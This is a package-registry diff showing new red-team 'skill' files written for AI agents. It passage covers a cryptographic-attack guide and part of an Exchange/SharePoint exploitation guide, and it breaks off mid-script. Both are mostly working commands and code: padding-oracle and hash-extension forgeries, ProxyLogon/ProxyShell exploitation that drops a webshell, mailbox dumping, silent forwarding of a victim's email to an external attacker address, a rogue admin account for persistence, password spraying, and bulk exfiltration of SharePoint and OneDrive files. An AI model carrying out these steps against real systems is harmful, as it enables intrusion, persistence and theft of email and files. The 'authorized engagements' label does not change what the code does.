rtexit-method 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,350 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-crypto-attacks
|
|
3
|
+
description: "Cryptographic attack skill for authorized engagements. CBC padding oracle exploitation, ECB block manipulation and cut-paste attacks, hash length extension attacks, weak PRNG exploitation, timing attacks on authentication, MD5/SHA1 collision exploitation, RSA common modulus and small exponent attacks, and identifying custom/broken encryption schemes. Use when testing cryptographic implementations in web apps, APIs, or proprietary protocols."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-crypto-attacks — Cryptographic Vulnerability Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Cryptographic vulnerabilities arise from using broken algorithms, incorrect modes of operation, weak key generation, or flawed implementations. In web applications and APIs, these manifest as exploitable oracle attacks, forgeable tokens, and bypassable authentication.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Attack 1 — CBC Padding Oracle
|
|
15
|
+
|
|
16
|
+
**Condition:** Application decrypts user-supplied ciphertext and returns different errors for padding failures vs decryption failures (even via timing differences).
|
|
17
|
+
|
|
18
|
+
**Impact:** Decrypt any ciphertext block-by-block without the key. Forge arbitrary ciphertext.
|
|
19
|
+
|
|
20
|
+
```python
|
|
21
|
+
# Manual padding oracle concept
|
|
22
|
+
# CBC decryption: P[i] = D(C[i]) XOR C[i-1]
|
|
23
|
+
# Padding oracle: if we flip bytes in C[i-1], and server says "padding valid"
|
|
24
|
+
# → we can deduce D(C[i]) byte by byte
|
|
25
|
+
|
|
26
|
+
# Tool: PadBuster
|
|
27
|
+
padbuster https://target.com/profile?data=BASE64_ENCRYPTED_DATA BASE64_ENCRYPTED_DATA 8 \
|
|
28
|
+
-encoding 0 \
|
|
29
|
+
-error "Invalid padding"
|
|
30
|
+
# 8 = block size (AES = 16, DES = 8)
|
|
31
|
+
|
|
32
|
+
# Decrypt existing ciphertext
|
|
33
|
+
padbuster https://target.com/api BASE64_CIPHERTEXT 16 -encoding 2
|
|
34
|
+
|
|
35
|
+
# Forge new plaintext (e.g., change role=user to role=admin)
|
|
36
|
+
padbuster https://target.com/api BASE64_CIPHERTEXT 16 \
|
|
37
|
+
-encoding 2 \
|
|
38
|
+
-plaintext "role=admin&user=attacker"
|
|
39
|
+
|
|
40
|
+
# Tool: bit-flipper / padding-oracle-attack
|
|
41
|
+
pip3 install padding-oracle-attacker
|
|
42
|
+
python3 -m padding_oracle_attacker decrypt \
|
|
43
|
+
--url "https://target.com/api?token={}" \
|
|
44
|
+
--ciphertext "BASE64_TOKEN" \
|
|
45
|
+
--block-size 16 \
|
|
46
|
+
--error "Invalid token"
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
**Detection in source code:**
|
|
50
|
+
```python
|
|
51
|
+
# VULNERABLE — different exceptions leak oracle
|
|
52
|
+
try:
|
|
53
|
+
plaintext = cipher.decrypt(ciphertext)
|
|
54
|
+
except PaddingError:
|
|
55
|
+
return "Invalid padding" # ← ORACLE
|
|
56
|
+
except DecryptionError:
|
|
57
|
+
return "Decryption failed" # ← ORACLE (different response = oracle)
|
|
58
|
+
|
|
59
|
+
# SECURE — same response always
|
|
60
|
+
try:
|
|
61
|
+
plaintext = cipher.decrypt(ciphertext)
|
|
62
|
+
except Exception:
|
|
63
|
+
return "Invalid token" # Always same response
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## Attack 2 — ECB Block Manipulation (Cut & Paste)
|
|
69
|
+
|
|
70
|
+
**Condition:** Application uses AES-ECB mode (identical plaintext blocks → identical ciphertext blocks).
|
|
71
|
+
|
|
72
|
+
**Impact:** Rearrange, duplicate, or substitute encrypted blocks to forge arbitrary plaintexts.
|
|
73
|
+
|
|
74
|
+
```python
|
|
75
|
+
# Detect ECB: send repeated plaintext, check for repeated blocks in ciphertext
|
|
76
|
+
import requests, base64
|
|
77
|
+
|
|
78
|
+
def detect_ecb(ciphertext_b64):
|
|
79
|
+
ct = base64.b64decode(ciphertext_b64)
|
|
80
|
+
blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
|
|
81
|
+
return len(blocks) != len(set(blocks)) # True = ECB detected
|
|
82
|
+
|
|
83
|
+
# Test: register with username "AAAAAAAAAAAAAAAA" (16 A's)
|
|
84
|
+
# If ciphertext has repeated 16-byte blocks → ECB mode
|
|
85
|
+
|
|
86
|
+
# ECB Cut-and-Paste Attack Example:
|
|
87
|
+
# Suppose encrypted cookie format: role=user&admin=false
|
|
88
|
+
# Block 1 (bytes 0-15): "role=user&admin="
|
|
89
|
+
# Block 2 (bytes 16-31): "false___________" (padded)
|
|
90
|
+
|
|
91
|
+
# Step 1: craft input to push "admin=true" to a clean block boundary
|
|
92
|
+
# Step 2: capture that block
|
|
93
|
+
# Step 3: substitute it into another session's cookie
|
|
94
|
+
|
|
95
|
+
# Automated with ecb-cpa tool
|
|
96
|
+
pip3 install ecb_cpa
|
|
97
|
+
python3 ecb_cpa.py --url "https://target.com/encrypt" \
|
|
98
|
+
--param "username" \
|
|
99
|
+
--target "admin=true"
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
---
|
|
103
|
+
|
|
104
|
+
## Attack 3 — Hash Length Extension
|
|
105
|
+
|
|
106
|
+
**Condition:** `MAC = hash(secret + message)` — attacker knows hash and message length but not secret.
|
|
107
|
+
|
|
108
|
+
**Impact:** Append data to message and compute valid MAC without knowing the secret.
|
|
109
|
+
|
|
110
|
+
```bash
|
|
111
|
+
# Tools
|
|
112
|
+
pip3 install hashpumpy
|
|
113
|
+
# Or: hashpump binary
|
|
114
|
+
|
|
115
|
+
# Example: API uses HMAC = MD5(secret + "user=alice")
|
|
116
|
+
# We know the hash and want to forge: "user=alice&admin=true"
|
|
117
|
+
|
|
118
|
+
python3 << 'EOF'
|
|
119
|
+
import hashpumpy
|
|
120
|
+
|
|
121
|
+
original_data = b"user=alice"
|
|
122
|
+
original_hash = "a3f8c2d1..." # known hash from response
|
|
123
|
+
secret_length = 16 # guess (try 8, 12, 16, 20, 24, 32)
|
|
124
|
+
data_to_append = b"&admin=true"
|
|
125
|
+
|
|
126
|
+
new_hash, new_data = hashpumpy.hashpump(
|
|
127
|
+
original_hash,
|
|
128
|
+
original_data,
|
|
129
|
+
data_to_append,
|
|
130
|
+
secret_length
|
|
131
|
+
)
|
|
132
|
+
print(f"New hash: {new_hash}")
|
|
133
|
+
print(f"New data: {new_data.hex()}")
|
|
134
|
+
# Send new_data as message + new_hash as MAC
|
|
135
|
+
EOF
|
|
136
|
+
|
|
137
|
+
# hashpump CLI
|
|
138
|
+
hashpump -s "KNOWN_HASH" -d "KNOWN_DATA" -a "&admin=true" -k 16
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Attack 4 — Timing Attacks
|
|
144
|
+
|
|
145
|
+
**Condition:** Authentication comparison uses non-constant-time string comparison.
|
|
146
|
+
|
|
147
|
+
```python
|
|
148
|
+
# Detection: measure response time for known-bad vs close-to-valid tokens
|
|
149
|
+
import requests, time, statistics
|
|
150
|
+
|
|
151
|
+
def measure_timing(token):
|
|
152
|
+
times = []
|
|
153
|
+
for _ in range(10):
|
|
154
|
+
start = time.perf_counter()
|
|
155
|
+
requests.get(f"https://target.com/api",
|
|
156
|
+
headers={"Authorization": f"Bearer {token}"})
|
|
157
|
+
times.append(time.perf_counter() - start)
|
|
158
|
+
return statistics.mean(times)
|
|
159
|
+
|
|
160
|
+
# Test tokens that differ at position 0, 1, 2...
|
|
161
|
+
# If correct first byte takes longer → timing leak
|
|
162
|
+
baseline = measure_timing("AAAAAAAAAAAAAAAA")
|
|
163
|
+
for byte in "0123456789abcdef":
|
|
164
|
+
t = measure_timing(byte + "AAAAAAAAAAAAAAA")
|
|
165
|
+
if t > baseline + 0.005: # 5ms difference
|
|
166
|
+
print(f"Correct first byte: {byte}")
|
|
167
|
+
|
|
168
|
+
# Tool: timing-attack
|
|
169
|
+
pip3 install timing-attack
|
|
170
|
+
timing-attack "https://target.com/api?token=PAYLOAD" --payload CHARSET
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
---
|
|
174
|
+
|
|
175
|
+
## Attack 5 — Weak PRNG / Predictable Tokens
|
|
176
|
+
|
|
177
|
+
```python
|
|
178
|
+
# Test for predictable tokens — collect multiple and analyze
|
|
179
|
+
|
|
180
|
+
import requests, time
|
|
181
|
+
|
|
182
|
+
tokens = []
|
|
183
|
+
for _ in range(20):
|
|
184
|
+
r = requests.get("https://target.com/reset-password?email=test@test.com")
|
|
185
|
+
# Extract token from email or response
|
|
186
|
+
tokens.append(extract_token(r))
|
|
187
|
+
time.sleep(0.1)
|
|
188
|
+
|
|
189
|
+
# Check for sequential tokens
|
|
190
|
+
if all(int(t, 16) == int(tokens[0], 16) + i for i, t in enumerate(tokens)):
|
|
191
|
+
print("SEQUENTIAL TOKENS DETECTED")
|
|
192
|
+
|
|
193
|
+
# Check for timestamp-based tokens
|
|
194
|
+
import hashlib
|
|
195
|
+
ts = int(time.time())
|
|
196
|
+
for delta in range(-5, 5):
|
|
197
|
+
candidate = hashlib.md5(str(ts + delta).encode()).hexdigest()
|
|
198
|
+
if candidate in tokens:
|
|
199
|
+
print(f"TIMESTAMP-BASED TOKEN: offset={delta}")
|
|
200
|
+
|
|
201
|
+
# Tool: OWASP TokenAnalyzer
|
|
202
|
+
# Tool: Burp Suite Sequencer (statistical analysis of token randomness)
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
---
|
|
206
|
+
|
|
207
|
+
## Attack 6 — RSA Common Modulus Attack
|
|
208
|
+
|
|
209
|
+
```bash
|
|
210
|
+
# If two RSA public keys share the same modulus (n) but different exponents (e1, e2)
|
|
211
|
+
# And the same message m is encrypted with both:
|
|
212
|
+
# C1 = m^e1 mod n, C2 = m^e2 mod n
|
|
213
|
+
# → Recover m using extended Euclidean algorithm
|
|
214
|
+
|
|
215
|
+
python3 << 'EOF'
|
|
216
|
+
from math import gcd
|
|
217
|
+
|
|
218
|
+
def extended_gcd(a, b):
|
|
219
|
+
if b == 0: return a, 1, 0
|
|
220
|
+
g, x, y = extended_gcd(b, a % b)
|
|
221
|
+
return g, y, x - (a // b) * y
|
|
222
|
+
|
|
223
|
+
def common_modulus_attack(n, e1, e2, c1, c2):
|
|
224
|
+
g, a, b = extended_gcd(e1, e2)
|
|
225
|
+
if g != 1: return None # gcd must be 1
|
|
226
|
+
if a < 0:
|
|
227
|
+
c1 = pow(c1, -1, n) # modular inverse
|
|
228
|
+
a = -a
|
|
229
|
+
if b < 0:
|
|
230
|
+
c2 = pow(c2, -1, n)
|
|
231
|
+
b = -b
|
|
232
|
+
return pow(c1, a, n) * pow(c2, b, n) % n
|
|
233
|
+
|
|
234
|
+
# Usage
|
|
235
|
+
n = int("MODULUS_HEX", 16)
|
|
236
|
+
e1 = 65537
|
|
237
|
+
e2 = 17
|
|
238
|
+
c1 = int("CIPHERTEXT_1_HEX", 16)
|
|
239
|
+
c2 = int("CIPHERTEXT_2_HEX", 16)
|
|
240
|
+
m = common_modulus_attack(n, e1, e2, c1, c2)
|
|
241
|
+
print(f"Recovered plaintext: {bytes.fromhex(hex(m)[2:])}")
|
|
242
|
+
EOF
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
---
|
|
246
|
+
|
|
247
|
+
## Attack 7 — Identify Broken / Custom Encryption
|
|
248
|
+
|
|
249
|
+
```bash
|
|
250
|
+
# Cipher identification
|
|
251
|
+
pip3 install pycipher hashid
|
|
252
|
+
|
|
253
|
+
# Identify hash type
|
|
254
|
+
hashid "5f4dcc3b5aa765d61d8327deb882cf99"
|
|
255
|
+
# Output: [+] MD5
|
|
256
|
+
|
|
257
|
+
# Check for ROT13 / Caesar / XOR
|
|
258
|
+
python3 -c "
|
|
259
|
+
import base64
|
|
260
|
+
|
|
261
|
+
data = 'VGhpcyBpcyBhIHRlc3Q=' # suspect encoded string
|
|
262
|
+
print('base64:', base64.b64decode(data))
|
|
263
|
+
|
|
264
|
+
# XOR with single byte
|
|
265
|
+
raw = bytes.fromhex('0a1b2c3d')
|
|
266
|
+
for key in range(256):
|
|
267
|
+
result = bytes([b ^ key for b in raw])
|
|
268
|
+
if all(32 <= b < 127 for b in result):
|
|
269
|
+
print(f'XOR key {key}: {result}')
|
|
270
|
+
"
|
|
271
|
+
|
|
272
|
+
# Frequency analysis (classical ciphers)
|
|
273
|
+
python3 << 'EOF'
|
|
274
|
+
from collections import Counter
|
|
275
|
+
cipher = "GUVF VF N GRFG"
|
|
276
|
+
freq = Counter(cipher.replace(' ', ''))
|
|
277
|
+
print("Most common:", freq.most_common(5))
|
|
278
|
+
# E is most common in English → map most common cipher char to E
|
|
279
|
+
# Try ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'
|
|
280
|
+
EOF
|
|
281
|
+
|
|
282
|
+
# Tool: CyberChef (web) for automated identification
|
|
283
|
+
# Tool: dcode.fr for classical cipher identification
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
## Attack 8 — MD5/SHA1 Collision Exploitation
|
|
289
|
+
|
|
290
|
+
```bash
|
|
291
|
+
# MD5 collision: two different inputs with same hash
|
|
292
|
+
# shattered.io: SHA1 collision
|
|
293
|
+
|
|
294
|
+
# If app uses MD5 for file integrity or token deduplication:
|
|
295
|
+
# Download collision pair from https://www.mscs.dal.ca/~selinger/md5collision/
|
|
296
|
+
|
|
297
|
+
# Demonstrate: same MD5, different content
|
|
298
|
+
md5sum message1.bin message2.bin
|
|
299
|
+
# Both output same hash → integrity check bypassed
|
|
300
|
+
|
|
301
|
+
# SHA1 collision (shattered.io)
|
|
302
|
+
curl -o shattered-1.pdf https://shattered.io/static/shattered-1.pdf
|
|
303
|
+
curl -o shattered-2.pdf https://shattered.io/static/shattered-2.pdf
|
|
304
|
+
sha1sum shattered-1.pdf shattered-2.pdf
|
|
305
|
+
# Same SHA1 → demonstrates file signing bypass
|
|
306
|
+
```
|
|
307
|
+
|
|
308
|
+
---
|
|
309
|
+
|
|
310
|
+
## Finding Documentation
|
|
311
|
+
|
|
312
|
+
```
|
|
313
|
+
Finding: CBC Padding Oracle
|
|
314
|
+
Severity: HIGH (CVSS 7.5)
|
|
315
|
+
CWE: CWE-649 (Reliance on Obfuscation or Encryption without Integrity Check)
|
|
316
|
+
MITRE: T1600 (Weaken Encryption)
|
|
317
|
+
|
|
318
|
+
Evidence:
|
|
319
|
+
- Different HTTP responses for valid vs invalid padding
|
|
320
|
+
- Decrypted session token contents (demonstrate impact)
|
|
321
|
+
- Forged admin session token
|
|
322
|
+
|
|
323
|
+
Remediation:
|
|
324
|
+
- Use AES-GCM (authenticated encryption) instead of AES-CBC
|
|
325
|
+
- If CBC required: add HMAC-SHA256 authentication before decryption
|
|
326
|
+
- Ensure all decryption failures return identical responses
|
|
327
|
+
- Implement constant-time comparison for all token validation
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
---
|
|
331
|
+
|
|
332
|
+
## Skill Levels
|
|
333
|
+
|
|
334
|
+
**BEGINNER:** Run padbuster/padding oracle tools, use hashid for hash identification, CyberChef for encoding analysis
|
|
335
|
+
|
|
336
|
+
**INTERMEDIATE:** ECB cut-and-paste attacks, hash length extension with hashpump, timing attack measurement
|
|
337
|
+
|
|
338
|
+
**ADVANCED:** Custom padding oracle scripts, RSA common modulus attack, weak PRNG prediction
|
|
339
|
+
|
|
340
|
+
**EXPERT:** Full cryptographic protocol analysis, custom cipher reverse engineering, side-channel exploitation
|
|
341
|
+
|
|
342
|
+
---
|
|
343
|
+
|
|
344
|
+
## References
|
|
345
|
+
|
|
346
|
+
- PadBuster: https://github.com/AonCyberLabs/PadBuster
|
|
347
|
+
- hashpumpy: https://github.com/bwall/HashPump
|
|
348
|
+
- CryptoHack (learning): https://cryptohack.org
|
|
349
|
+
- Cryptopals challenges: https://cryptopals.com
|
|
350
|
+
- MITRE T1600: https://attack.mitre.org/techniques/T1600/
|
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exchange-sharepoint
|
|
3
|
+
description: "Microsoft Exchange and SharePoint exploitation skill for authorized engagements. Exchange Server privilege escalation (CVE-2021-26855 ProxyLogon, ProxyShell), OWA credential harvesting, Exchange SSRF chains, PowerShell Exchange abuse for email access, SharePoint SSRF and RCE, SharePoint sensitive data discovery, OneDrive enumeration via Graph API, and post-compromise email/file access. Use when Exchange or SharePoint servers are in scope."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exchange-sharepoint — Exchange & SharePoint Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Exchange and SharePoint servers are high-value targets — they hold email, files, and often have privileged service accounts. On-premises Exchange has had critical RCE/SSRF vulnerabilities (ProxyLogon, ProxyShell) and SharePoint has frequent SSRF and deserialization issues.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Enumeration
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Find Exchange servers
|
|
18
|
+
nmap -sV -p 25,443,587,993,995,8443 TARGET_RANGE
|
|
19
|
+
# 25 = SMTP, 443 = OWA/ECP/EWS/ActiveSync
|
|
20
|
+
|
|
21
|
+
# Exchange version fingerprinting
|
|
22
|
+
curl -s -k -I "https://EXCHANGE_IP/owa/" | grep -i "X-OWA-Version\|Server"
|
|
23
|
+
|
|
24
|
+
# Check exposed endpoints
|
|
25
|
+
for endpoint in "/owa/" "/ecp/" "/ews/" "/autodiscover/" "/mapi/" "/oab/" "/rpc/" "/Microsoft-Server-ActiveSync"; do
|
|
26
|
+
code=$(curl -k -s -o /dev/null -w "%{http_code}" "https://EXCHANGE_IP$endpoint")
|
|
27
|
+
echo "$code $endpoint"
|
|
28
|
+
done
|
|
29
|
+
|
|
30
|
+
# Find SharePoint
|
|
31
|
+
nmap -sV -p 80,443,8080 TARGET_RANGE
|
|
32
|
+
curl -k -I "https://SHAREPOINT_IP/_layouts/15/start.aspx#/"
|
|
33
|
+
# X-SharePointHealthScore header = SharePoint
|
|
34
|
+
|
|
35
|
+
# SharePoint version
|
|
36
|
+
curl -k "https://SHAREPOINT_IP/_vti_pvt/service.cnf"
|
|
37
|
+
curl -k "https://SHAREPOINT_IP/_vti_bin/sites.asmx"
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — ProxyLogon (CVE-2021-26855) — Exchange RCE
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# ProxyLogon: SSRF → authentication bypass → RCE
|
|
46
|
+
# Affects: Exchange 2013/2016/2019 before March 2021 patches
|
|
47
|
+
# Still found in environments that haven't patched
|
|
48
|
+
|
|
49
|
+
# Check vulnerability
|
|
50
|
+
curl -k -s "https://EXCHANGE_IP/ecp/y.js" \
|
|
51
|
+
-H "Cookie: X-BEResource=localhost~1942062522" | head -5
|
|
52
|
+
# "function" in response = PATCHED, error = VULNERABLE
|
|
53
|
+
|
|
54
|
+
# Exploit with publicly available PoC
|
|
55
|
+
git clone https://github.com/hausec/ProxyLogon
|
|
56
|
+
python3 proxylogon.py -t EXCHANGE_IP -e attacker@corp.com
|
|
57
|
+
# Drops webshell at: https://EXCHANGE_IP/owa/auth/shell.aspx
|
|
58
|
+
|
|
59
|
+
# Access webshell
|
|
60
|
+
curl -k "https://EXCHANGE_IP/owa/auth/shell.aspx?cmd=whoami"
|
|
61
|
+
# Output: NT AUTHORITY\SYSTEM
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
## Phase 3 — ProxyShell (CVE-2021-34473/34523/31207) — Exchange RCE
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# ProxyShell: Three CVEs chained → unauthenticated RCE
|
|
70
|
+
# Affects: Exchange 2013/2016/2019 before July 2021 patches
|
|
71
|
+
|
|
72
|
+
# Check vulnerability
|
|
73
|
+
curl -k "https://EXCHANGE_IP/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com"
|
|
74
|
+
# 200 OK = potentially vulnerable
|
|
75
|
+
|
|
76
|
+
# Exploit
|
|
77
|
+
git clone https://github.com/dmaasland/proxyshell-poc
|
|
78
|
+
pip3 install requests
|
|
79
|
+
python3 proxyshell.py -u https://EXCHANGE_IP -e admin@corp.com
|
|
80
|
+
|
|
81
|
+
# Or: Metasploit
|
|
82
|
+
use exploit/windows/http/exchange_proxyshell_rce
|
|
83
|
+
set RHOSTS EXCHANGE_IP
|
|
84
|
+
set EMAIL admin@corp.com
|
|
85
|
+
run
|
|
86
|
+
# → SYSTEM shell on Exchange server
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## Phase 4 — Exchange Post-Compromise
|
|
92
|
+
|
|
93
|
+
```powershell
|
|
94
|
+
# After RCE or with Exchange admin credentials
|
|
95
|
+
|
|
96
|
+
# Dump all mailboxes (Exchange admin PowerShell)
|
|
97
|
+
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn
|
|
98
|
+
Get-Mailbox -ResultSize Unlimited | Export-Mailbox -DeliveryFormat EML -DeliveryPath C:\Temp\Mailboxes\
|
|
99
|
+
|
|
100
|
+
# Search all mailboxes for keywords
|
|
101
|
+
Search-Mailbox -SearchQuery "password OR credential OR secret" -SearchDumpsterOnly $false -ResultSize Unlimited -TargetMailbox "admin@corp.com" -TargetFolder "SearchResults"
|
|
102
|
+
|
|
103
|
+
# Access specific user's mailbox (as Exchange admin)
|
|
104
|
+
# Exchange Web Services (EWS)
|
|
105
|
+
$cred = Get-Credential
|
|
106
|
+
$exchangeUrl = "https://EXCHANGE_IP/EWS/Exchange.asmx"
|
|
107
|
+
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
|
|
108
|
+
$service.Credentials = $cred
|
|
109
|
+
$service.ImpersonatedUserId = New-Object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, "victim@corp.com")
|
|
110
|
+
$inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service, [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
|
|
111
|
+
$view = New-Object Microsoft.Exchange.WebServices.Data.ItemView(50)
|
|
112
|
+
$inbox.FindItems($view) | Select-Object Subject, DateTimeReceived, From
|
|
113
|
+
|
|
114
|
+
# Forward all incoming email (persistence)
|
|
115
|
+
Set-Mailbox victim@corp.com -DeliverToMailboxAndForward $true -ForwardingSmtpAddress attacker@external.com
|
|
116
|
+
# All future emails silently forwarded to attacker
|
|
117
|
+
|
|
118
|
+
# Create new Exchange admin (persistence)
|
|
119
|
+
New-Mailbox -Name "IT Support" -Alias "itsupport" -UserPrincipalName "itsupport@corp.com" -Password (ConvertTo-SecureString "Password1!" -AsPlainText -Force)
|
|
120
|
+
Add-RoleGroupMember "Organization Management" -Member itsupport
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Phase 5 — OWA Credential Harvesting
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
# OWA (Outlook Web Access) — often internet-facing
|
|
129
|
+
# Password spray with domain credentials
|
|
130
|
+
|
|
131
|
+
# Spray OWA
|
|
132
|
+
python3 ruler.py --domain corp.com --users users.txt --password 'Summer2024!' spray --verbose
|
|
133
|
+
# github.com/sensepost/ruler
|
|
134
|
+
|
|
135
|
+
# Or with MailSniper
|
|
136
|
+
Import-Module MailSniper.ps1
|
|
137
|
+
Invoke-PasswordSprayOWA -ExchangeVersion Exchange2016 \
|
|
138
|
+
-ExchHostname mail.corp.com \
|
|
139
|
+
-UserList users.txt -Password 'Summer2024!'
|
|
140
|
+
|
|
141
|
+
# OWA GAL (Global Address List) enumeration — find all email addresses
|
|
142
|
+
Get-GlobalAddressList -AccessToken $token
|
|
143
|
+
# Returns all internal email addresses — useful for targeting
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## Phase 6 — SharePoint Exploitation
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
# SharePoint SSRF (CVE-2019-0604 — old but still found)
|
|
152
|
+
curl -k "https://SHAREPOINT_IP/_layouts/15/Picker.aspx" \
|
|
153
|
+
-d "__VIEWSTATE=&__EVENTVALIDATION=&__EVENTTARGET=&__EVENTARGUMENT=&ctl00%24PlaceHolderMain%24queryControl%24txtQuerySearch=&ctl00%24PlaceHolderMain%24btnSearch=Search"
|
|
154
|
+
|
|
155
|
+
# CVE-2020-0932 SharePoint RCE (deserialization)
|
|
156
|
+
# Requires low-priv authenticated user
|
|
157
|
+
python3 sharepoint_rce.py --url https://SHAREPOINT_IP --user user@corp.com --password Password1
|
|
158
|
+
|
|
159
|
+
# SharePoint sensitive file discovery
|
|
160
|
+
# Search for password files, config files
|
|
161
|
+
curl -k "https://SHAREPOINT_IP/sites/IT/_api/search/query?querytext='password+filetype:xlsx+OR+filetype:docx'" \
|
|
162
|
+
-H "Accept: application/json"
|
|
163
|
+
|
|
164
|
+
# Download all files from SharePoint site
|
|
165
|
+
# Using SharePoint REST API
|
|
166
|
+
python3 << 'EOF'
|
|
167
|
+
import requests
|
|
168
|
+
|
|
169
|
+
base_url = "https://sharepoint.corp.com/sites/Internal"
|
|
170
|
+
session = requests.Session()
|
|
171
|
+
session.auth = ("user@corp.com", "Password1")
|
|
172
|
+
|
|
173
|
+
# Get all files in root
|
|
174
|
+
r = session.get(f"{base_url}/_api/web/GetFolderByServerRelativeUrl('/')/Files",
|
|
175
|
+
headers={"Accept": "application/json"})
|
|
176
|
+
for file in r.json()['value']:
|
|
177
|
+
print(file['Name'], file['ServerRelativeUrl'])
|
|
178
|
+
# Download each file
|
|
179
|
+
content = session.get(f"{base_url}/_api/web/GetFileByServerRelativeUrl('{file['ServerRelativeUrl']}')/$value")
|
|
180
|
+
open(file['Name'], 'wb').write(content.content)
|
|
181
|
+
EOF
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 7 — Microsoft Graph API (O365 SharePoint/OneDrive)
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# After obtaining OAuth token (from device code phishing, consent grant, etc.)
|
|
190
|
+
# Access all M365 data via Graph API
|
|
191
|
+
|
|
192
|
+
# List all SharePoint sites
|
|
193
|
+
curl "https://graph.microsoft.com/v1.0/sites?search=*" \
|
|
194
|
+
-H "Authorization: Bearer $TOKEN"
|
|
195
|
+
|
|
196
|
+
# Search SharePoint for sensitive keywords
|
|
197
|
+
curl "https://graph.microsoft.com/v1.0/search/query" \
|
|
198
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
199
|
+
-H "Content-Type: application/json" \
|
|
200
|
+
-d '{
|
|
201
|
+
"requests": [{
|
|
202
|
+
"entityTypes": ["driveItem"],
|
|
203
|
+
"query": {"queryString": "password OR credentials OR secret"},
|
|
204
|
+
"fields": ["name","webUrl","lastModifiedDateTime"]
|
|
205
|
+
}]
|
|
206
|
+
}'
|
|
207
|
+
|
|
208
|
+
# Download OneDrive files
|
|
209
|
+
# Get user's OneDrive root
|
|
210
|
+
curl "https://graph.microsoft.com/v1.0/users/victim@corp.com/drive/root/children" \
|
|
211
|
+
-H "Authorization: Bearer $TOKEN"
|
|
212
|
+
|
|
213
|
+
# Download all files recursively
|
|
214
|
+
python3 << 'EOF'
|
|
215
|
+
import requests, os
|
|
216
|
+
|
|
217
|
+
token = "ACCESS_TOKEN"
|
|
218
|
+
headers = {"Authorization": f"Bearer {token}"}
|
|
219
|
+
base = "https://graph.microsoft.com/v1.0"
|
|
220
|
+
|
|
221
|
+
def download_folder(path, local_path):
|
|
222
|
+
r = requests.get(f"{base}{path}/children", headers=headers)
|
|
223
|
+
os.makedirs(local_path, exist_ok=True)
|
|
224
|
+
for item in r.json().get('value', []):
|
|
225
|
+
if 'folder' in item:
|
|
226
|
+
